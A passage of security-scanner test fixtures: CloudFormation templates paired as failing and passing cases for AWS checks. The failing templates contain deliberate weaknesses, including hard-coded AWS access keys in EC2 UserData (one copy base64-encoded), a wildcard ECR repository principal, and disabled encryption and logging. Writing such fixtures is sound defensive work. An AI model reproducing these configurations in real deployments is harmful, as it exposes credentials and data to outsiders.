    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-04169656fea786776\n      UserData: IyEgL2Jpbi9iYXNoCnN1ZG8gYXB0LWdldCB1cGRhdGUKc3VkbyBhcHQtZ2V0IGluc3RhbGwgLXkgYXBhY2hlMgpzdWRvIHN5c3RlbWN0bCBzdGFydCBhcGFjaGUyCnN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBhcGFjaGUyCmV4cG9ydCBBV1NfQUNDRVNTX0tFWV9JRApleHBvcnQgQVdTX0FDQ0VTU19LRVlfSUQ9QUtJQUlPU0ZPRE5ON0VYQU1QTEUKZXhwb3J0IEFXU19TRUNSRVRfQUNDRVNTX0tFWT13SmFsclhVdG5GRU1JL0s3TURFTkcvYlB4UmZpQ1lFWEFNUExFS0VZCmV4cG9ydCBBV1NfREVGQVVMVF9SRUdJT049dXMtd2VzdC0yCmVjaG8gIjxoMT5EZXBsb3llZCB2aWEgVGVycmFmb3JtPC9oMT4iIHwgc3VkbyB0ZWUgL3Zhci93d3cvaHRtbC9pbmRleC5odG1s\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::EC2::Instance\n    Properties: \n      ImageId: ami-04169656fea786776\n  Resource1:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-04169656fea786776\n      UserData:\n        Fn::Base64:\n          !Sub |\n            #! /bin/bash\n            sudo apt-get update\n            sudo apt-get install -y apache2\n            sudo systemctl start apache2\n            sudo systemctl enable apache2\n            export AWS_ACCESS_KEY_ID\n            export AWS_ACCESS_KEY_ID=FOO\n            export AWS_SECRET_ACCESS_KEY=bar\n            export AWS_DEFAULT_REGION=us-west-2\n            echo \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  EC2InstanceResource0:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-04169656fea786776\n      NetworkInterfaces: \n        - AssociatePublicIpAddress: true\n          DeviceIndex: \"0\"\n          GroupSet: \n            - \"myVPCEC2SecurityGroup\"\n          SubnetId: \"PublicSubnet\"\n  EC2LaunchTemplateResource0:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateData:\n        ImageId: ami-04169656fea786776\n        NetworkInterfaces: \n          - AssociatePublicIpAddress: true\n            DeviceIndex: 0\n            Groups: \n              - \"myVPCEC2SecurityGroup\"\n            SubnetId: \"PublicSubnet\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  EC2InstanceResource0:\n    Type: AWS::EC2::Instance\n    Properties: \n      ImageId: ami-04169656fea786776\n  EC2InstanceResource1:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-04169656fea786776\n      NetworkInterfaces: \n        - AssociatePublicIpAddress: false\n          DeviceIndex: \"0\"\n          GroupSet: \n            - \"myVPCEC2SecurityGroup\"\n          SubnetId: \"PublicSubnet\"\n  EC2InstanceResource2:\n    Type: AWS::EC2::Instance\n  EC2LaunchTemplateResource0:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateData:\n        ImageId: ami-04169656fea786776\n  EC2LaunchTemplateResource1:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateData:\n        ImageId: ami-04169656fea786776\n        NetworkInterfaces: \n          - AssociatePublicIpAddress: false\n            DeviceIndex: 0\n            Groups: \n              - \"myVPCEC2SecurityGroup\"\n            SubnetId: \"PublicSubnet\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-UNKNOWN.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  EC2InstanceResource0:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-04169656fea786776\n      NetworkInterfaces: \n        - DeviceIndex: \"0\"\n          GroupSet: \n            - \"myVPCEC2SecurityGroup\"\n          SubnetId: \"PublicSubnet\"\n  EC2LaunchTemplateResource0:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateData:\n        ImageId: ami-04169656fea786776\n        NetworkInterfaces: \n          - DeviceIndex: 0\n            Groups: \n              - \"myVPCEC2SecurityGroup\"\n            SubnetId: \"PublicSubnet\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRImageScanning/FAILED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  ImageScanFalse:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n      ImageScanningConfiguration:\n        ScanOnPush: false\n  ImageScanFalseString:\n    Type: AWS::ECR::Repository\n    Properties:\n      RepositoryName: \"test\"\n      ImageScanningConfiguration:\n        ScanOnPush: \"false\"\n  ImageScanNotSet:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRImageScanning/PASSED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  ImageScanTrue:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n      ImageScanningConfiguration:\n        ScanOnPush: true\n  ImageScanTrueString:\n    Type: AWS::ECR::Repository\n    Properties:\n      RepositoryName: \"test\"\n      ImageScanningConfiguration:\n        ScanOnPush: \"true\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRImmutableTags/ECRImmutableTags-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyRepository0: \n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test-repository\"\n      ImageTagMutability: \"MUTABLE\"\n      RepositoryPolicyText: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Sid: AllowPushPull\n            Effect: Allow\n            Principal: \n              AWS: \n                - \"arn:aws:iam::123456789012:user/Bob\"\n                - \"arn:aws:iam::123456789012:user/Alice\"\n            Action: \n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n  MyRepository1: \n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Sid: AllowPushPull\n            Effect: Allow\n            Principal: \n              AWS: \n                - \"arn:aws:iam::123456789012:user/Bob\"\n                - \"arn:aws:iam::123456789012:user/Alice\"\n            Action: \n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRImmutableTags/ECRImmutableTags-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyRepository: \n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test-repository\"\n      ImageTagMutability: \"IMMUTABLE\"\n      RepositoryPolicyText: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Sid: AllowPushPull\n            Effect: Allow\n            Principal: \n              AWS: \n                - \"arn:aws:iam::123456789012:user/Bob\"\n                - \"arn:aws:iam::123456789012:user/Alice\"\n            Action: \n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Public:\n    Type: AWS::ECR::Repository\n    Properties:\n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText:\n        Version: \"2012-10-17\"\n        Statement:\n          - Sid: AllowPushPull\n            Effect: Allow\n            Principal:\n               AWS:\n                 - \"arn:aws:iam::123456789012:user/Bob\"\n                 - \"arn:aws:iam::123456789012:user/Alice\"\n                 - \"*\"\n            Action:\n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-PASSED-2.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  CondAllPass:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText: \n        Version: \"2012-10-17\"\n        Statement: \n          - Sid: AllowPushPull\n            Effect: Allow\n            Principal: \"*\"\n            Action: \n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n            Condition:\n              ForAllValues:StringEquals:\n                aws:PrincipalOrgID: \"o-12345678\"\n\n  CondAnyPass:\n    Type: AWS::ECR::Repository\n    Properties:\n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText:\n        Version: \"2012-10-17\"\n        Statement:\n          - Sid: AllowPushPull\n            Effect: Allow\n            Principal: \"*\"\n            Action:\n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n            Condition:\n              ForAnyValue:StringEquals:\n                aws:PrincipalOrgID: \"o-12345678\"\n\n  CondEqualsPass:\n    Type: AWS::ECR::Repository\n    Properties:\n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText:\n        Version: \"2012-10-17\"\n        Statement:\n          - Sid: AllowPushPull\n            Effect: Allow\n            Principal: \"*\"\n            Action:\n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n            Condition:\n              StringEquals:\n                aws:PrincipalOrgID: \"o-12345678\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Restricted:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test-repository\"\n      RepositoryPolicyText: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Sid: AllowPushPull\n            Effect: Allow\n            #Principal: \"*\"\n            Principal: \n               AWS: \n                 - \"arn:aws:iam::123456789012:user/Bob\"\n                 - \"arn:aws:iam::123456789012:user/Alice\"\n            Action: \n              - \"ecr:GetDownloadUrlForLayer\"\n              - \"ecr:BatchGetImage\"\n              - \"ecr:BatchCheckLayerAvailability\"\n              - \"ecr:PutImage\"\n              - \"ecr:InitiateLayerUpload\"\n              - \"ecr:UploadLayerPart\"\n              - \"ecr:CompleteLayerUpload\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy_passed.json",
    "content": "{\n  \"Resources\": {\n    \"vpc16AA8B31E\": {\n      \"Type\": \"AWS::ECR::Repository\",\n      \"Properties\": {\n        \"RepositoryName\": \"app1\",\n        \"RepositoryPolicyText\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"CodeBuildReadAccess\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"codebuild.amazonaws.com\\\"\\n      },\\n      \\\"Action\\\": [\\n        \\\"ecr:BatchCheckLayerAvailability\\\",\\n        \\\"ecr:BatchGetImage\\\",\\n        \\\"ecr:GetDownloadUrlForLayer\\\"\\n      ]\\n    }\\n  ]\\n}\\n\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRRepositoryEncrypted/FAILED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  AES256Encryption:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n      EncryptionConfiguration:\n        EncryptionType: \"AES256\"\n  NoEncryption:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECRRepositoryEncrypted/PASSED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  KMSEncryption:\n    Type: AWS::ECR::Repository\n    Properties: \n      RepositoryName: \"test\"\n      EncryptionConfiguration:\n        EncryptionType: \"KMS\"\n        KmsKey: \"KeyID\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-FAILED-2.yaml",
    "content": "Resources:\n  ECSCluster:\n    Type: 'AWS::ECS::Cluster'\n    Properties:\n      ClusterName: 'MyCluster'\n      ClusterSettings:\n        - Name: 'containerInsights'\n          Value: 'disabled'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-FAILED.yaml",
    "content": "Resources:\n  ECSCluster:\n    Type: 'AWS::ECS::Cluster'\n    Properties:\n      ClusterName: 'MyCluster'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-PASSED.yaml",
    "content": "Resources:\n  ECSCluster:\n    Type: 'AWS::ECS::Cluster'\n    Properties:\n      ClusterName: 'MyCluster'\n      ClusterSettings:\n        - Name: 'containerInsights'\n          Value: 'enabled'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-PASSED2.yaml",
    "content": "Resources:\n  ECSCluster:\n    Type: 'AWS::ECS::Cluster'\n    Properties:\n      ClusterName: 'MyCluster'\n      ClusterSettings:\n        - Name: 'containerInsights'\n          Value: 'enhanced'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSTaskDefinitionEFSVolumeEncryption/ECSTaskDefinitionEFSVolumeEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      ContainerDefinitions: \n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint: \n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command: \n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: true\n      Volumes: \n        - Name: MyVolume\n          EFSVolumeConfiguration:\n            FilesystemId: FilesystemId\n            TransitEncryption: \"DISABLED\"\n  Resource1:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      ContainerDefinitions: \n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint: \n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command: \n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: true\n      Volumes: \n        - Name: MyVolume\n          EFSVolumeConfiguration:\n            FilesystemId: FilesystemId\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ECSTaskDefinitionEFSVolumeEncryption/ECSTaskDefinitionEFSVolumeEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      ContainerDefinitions: \n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint: \n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command: \n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: true\n      Volumes: \n        - Name: MyVolume\n          EFSVolumeConfiguration:\n            FilesystemId: FilesystemId\n            TransitEncryption: \"ENABLED\"\n  Resource1:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      ContainerDefinitions: \n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint: \n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command: \n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: true\n  Resource2:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      ContainerDefinitions: \n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint: \n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command: \n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: true\n      Volumes: \n        - Name: MyVolume\n          Host:\n            SourcePath: \"/source/path\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EFSEncryption/EFSEncrpytion-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  FileSystemResource:\n    Type: 'AWS::EFS::FileSystem'\n    Properties:\n      PerformanceMode: maxIO\n      Encrypted: false\n      LifecyclePolicies:\n        - TransitionToIA: AFTER_30_DAYS\n      FileSystemTags:\n        - Key: Name\n          Value: TestFileSystem"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EFSEncryption/EFSEncrpytion-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  FileSystemResource:\n    Type: 'AWS::EFS::FileSystem'\n    Properties:\n      PerformanceMode: maxIO\n      Encrypted: true\n      LifecyclePolicies:\n        - TransitionToIA: AFTER_30_DAYS\n      FileSystemTags:\n        - Key: Name\n          Value: TestFileSystem"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EKSNodeGroupRemoteAccess/EKSNodeGroupRemoteAccess-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::EKS::Nodegroup'\n    Properties:\n      ClusterName: test\n      NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole'\n      ScalingConfig:\n        MinSize: 3\n        DesiredSize: 5\n        MaxSize: 7\n      Labels:\n        Key1: Value1\n        Key2: Value2\n      Subnets:\n        - subnet-6782e71e\n        - subnet-e7e761ac\n      RemoteAccess: \n        Ec2SshKey: SshKeyString\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EKSNodeGroupRemoteAccess/EKSNodeGroupRemoteAccess-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::EKS::Nodegroup'\n    Properties:\n      ClusterName: test\n      NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole'\n      ScalingConfig:\n        MinSize: 3\n        DesiredSize: 5\n        MaxSize: 7\n      Labels:\n        Key1: Value1\n        Key2: Value2\n      Subnets:\n        - subnet-6782e71e\n        - subnet-e7e761ac\n      RemoteAccess: \n        Ec2SshKey: SshKeyString\n        SourceSecurityGroups: \n          - sg-0\n  Resource1:\n    Type: 'AWS::EKS::Nodegroup'\n    Properties:\n      ClusterName: test\n      NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole'\n      ScalingConfig:\n        MinSize: 3\n        DesiredSize: 5\n        MaxSize: 7\n      Labels:\n        Key1: Value1\n        Key2: Value2\n      Subnets:\n        - subnet-6782e71e\n        - subnet-e7e761ac\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EKSSecretEncryption/EKSSecretEncryption-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::EKS::Cluster'\n    Properties:\n      Name: prod\n      Version: '1.14'\n      RoleArn: >-\n        arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI\n      ResourcesVpcConfig:\n        SecurityGroupIds:\n          - sg-6979fe18\n        SubnetIds:\n          - subnet-6782e71e\n          - subnet-e7e761ac\n  Resource1:\n    Type: 'AWS::EKS::Cluster'\n    Properties:\n      Name: prod\n      Version: '1.14'\n      RoleArn: >-\n        arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI\n      ResourcesVpcConfig:\n        SecurityGroupIds:\n          - sg-6979fe18\n        SubnetIds:\n          - subnet-6782e71e\n          - subnet-e7e761ac\n      EncryptionConfig:\n        - Resources:\n          - not_secrets"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EKSSecretEncryption/EKSSecretEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  myCluster:\n    Type: 'AWS::EKS::Cluster'\n    Properties:\n      Name: prod\n      Version: '1.14'\n      RoleArn: >-\n        arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI\n      ResourcesVpcConfig:\n        SecurityGroupIds:\n          - sg-6979fe18\n        SubnetIds:\n          - subnet-6782e71e\n          - subnet-e7e761ac\n      EncryptionConfig:\n        - Resources:\n          - secrets\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ELBAccessLogs/ELBAccessLogs-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::ElasticLoadBalancing::LoadBalancer'\n    Properties:\n      Listeners:\n      - InstancePort: '80'\n        InstanceProtocol: HTTP\n        LoadBalancerPort: '80'\n        Protocol: HTTP\n      AccessLoggingPolicy:\n        Enabled: false\n        S3BucketName: MyBucket\n  Resource1:\n    Type: 'AWS::ElasticLoadBalancing::LoadBalancer'\n    Properties:\n      Listeners:\n      - InstancePort: '80'\n        InstanceProtocol: HTTP\n        LoadBalancerPort: '80'\n        Protocol: HTTP\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ELBAccessLogs/ELBAccessLogs-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::ElasticLoadBalancing::LoadBalancer'\n    Properties:\n      Listeners:\n      - InstancePort: '80'\n        InstanceProtocol: HTTP\n        LoadBalancerPort: '80'\n        Protocol: HTTP\n      AccessLoggingPolicy:\n        Enabled: true\n        S3BucketName: MyBucket\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/ELBv2AccessLogs-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      LoadBalancerAttributes:\n      - Key: access_logs.s3.enabled\n        Value: \"false\"\n      - Key: access_logs.s3.bucket\n        Value: MyBucket\n      Subnets:\n      - SubnetID0\n      - SubnetID1\n  Resource1:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      LoadBalancerAttributes:\n      - Key: idle_timeout.timeout_seconds\n        Value: \"60\"\n      Subnets:\n      - SubnetID0\n      - SubnetID1\n  Resource2:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      Subnets:\n      - SubnetID0\n      - SubnetID1\n  Resource3:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      LoadBalancerAttributes:\n        - Key: access_logs.s3.enabled\n          Value: false\n        - Key: access_logs.s3.bucket\n          Value: MyBucket\n      Subnets:\n        - SubnetID0\n        - SubnetID1\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/ELBv2AccessLogs-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      LoadBalancerAttributes:\n      - Key: access_logs.s3.enabled\n        Value: \"true\"\n      - Key: access_logs.s3.bucket \n        Value: MyBucket\n      Subnets:\n      - SubnetID0\n      - SubnetID1\n  Resource1:\n    Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer'\n    Properties:\n      Name: MyLB\n      LoadBalancerAttributes:\n        - Key: access_logs.s3.enabled\n          Value: true\n        - Key: access_logs.s3.bucket\n          Value: MyBucket\n      Subnets:\n        - SubnetID0\n        - SubnetID1\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  